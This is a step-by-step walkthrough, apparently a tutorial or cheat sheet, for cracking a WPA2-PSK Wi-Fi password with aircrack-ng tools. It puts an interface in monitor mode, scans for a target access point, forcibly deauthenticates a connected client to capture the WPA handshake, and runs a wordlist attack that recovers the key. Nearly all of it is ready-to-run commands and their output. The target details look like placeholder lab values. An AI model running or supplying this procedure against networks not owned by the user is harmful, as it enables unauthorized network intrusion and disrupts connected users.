* Identify the name of the wireless interface

|  |
| --- |
| root@debian:~# iwconfig  wlan0 IEEE 802.11 Mode:Monitor Frequency:2.452 GHz Tx-Power=15 dBm  Retry short limit:7 RTS thr:off Fragment thr:off  Power Management:off  enp0s25 no wireless extensions.  lo no wireless extensions. |

* Clear wireless processes

|  |
| --- |
| root@debian:~# airmon-ng check kill  Killing these processes:  PID Name  1760 dhclient |

* Get broad wireless environment overview, identify target AP bssid and channel

|  |
| --- |
| root@debian:~# airodump-ng wlan0 |

|  |
| --- |
| CH 8 ][ Elapsed: 18 s ][ 2017-03-04 15:48  BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  01:02:03:04:05:06 -25 10 0 0 6 54e. WPA2 CCMP PSK donthackmebro |

* Setup targeted capture, identify connected clients

|  |
| --- |
| root@debian:~# airodump-ng --bssid 01:02:03:04:05:06 -c 6 -w out wlan0 |

|  |
| --- |
| CH 6 ][ Elapsed: 54 s ][ 2017-03-04 15:55  BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  01:02:03:04:05:06 -26 100 150 550 0 6 54e. WPA2 CCMP PSK donthackmebro  BSSID STATION PWR Rate Lost Frames Probe  01:02:03:04:05:06 DE:AD:BE:EF:CA:FE -36 0e-24e 1780 621 |

* In a second terminal, deauth a connected client (-a for AP MAC; -c for connected client MAC)

|  |
| --- |
| root@debian:~# aireplay-ng -0 1 -a 01:02:03:04:05:06 -c DE:AD:BE:EF:CA:FE wlan0  16:02:25 Waiting for beacon frame (BSSID: 01:02:03:04:05:06) on channel 6  16:02:25 Sending 64 directed DeAuth. STMAC: [DE:AD:BE:EF:CA:FE] [ 1|60 ACKs] |

* Wait for deauth’d client to reconnect, ensure WPA handshake is captured

|  |
| --- |
| CH 6 ][ Elapsed: 9 mins ][ 2017-03-04 16:04 ][ WPA handshake: 01:02:03:04:05:06  BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  01:02:03:04:05:06 -40 0 946 1352 182 6 54e. WPA2 CCMP PSK donthackmebro  BSSID STATION PWR Rate Lost Frames Probe  01:02:03:04:05:06 DE:AD:BE:EF:CA:FE -37 0e-24e 234 1629 |

* Stop capture (Ctrl + C), then attempt to crack WPA key

|  |
| --- |
| root@deb:~#aircrack-ng out-01.cap -w /usr/share/wordlists/metasploit/burnett\_top\_1024.txt  Opening out-01.cap  Read 100451 packets.  # BSSID ESSID Encryption  1 01:02:03:04:05:06 donthackmebro WPA (1 handshake)  Choosing first network as target.  Opening out-01.cap  Reading packets, please wait...  Aircrack-ng 1.2 rc4  [00:00:00] 28/64 keys tested (1461.84 k/s)  Time left: 0 seconds 43.75%  KEY FOUND! [ cocacola ] |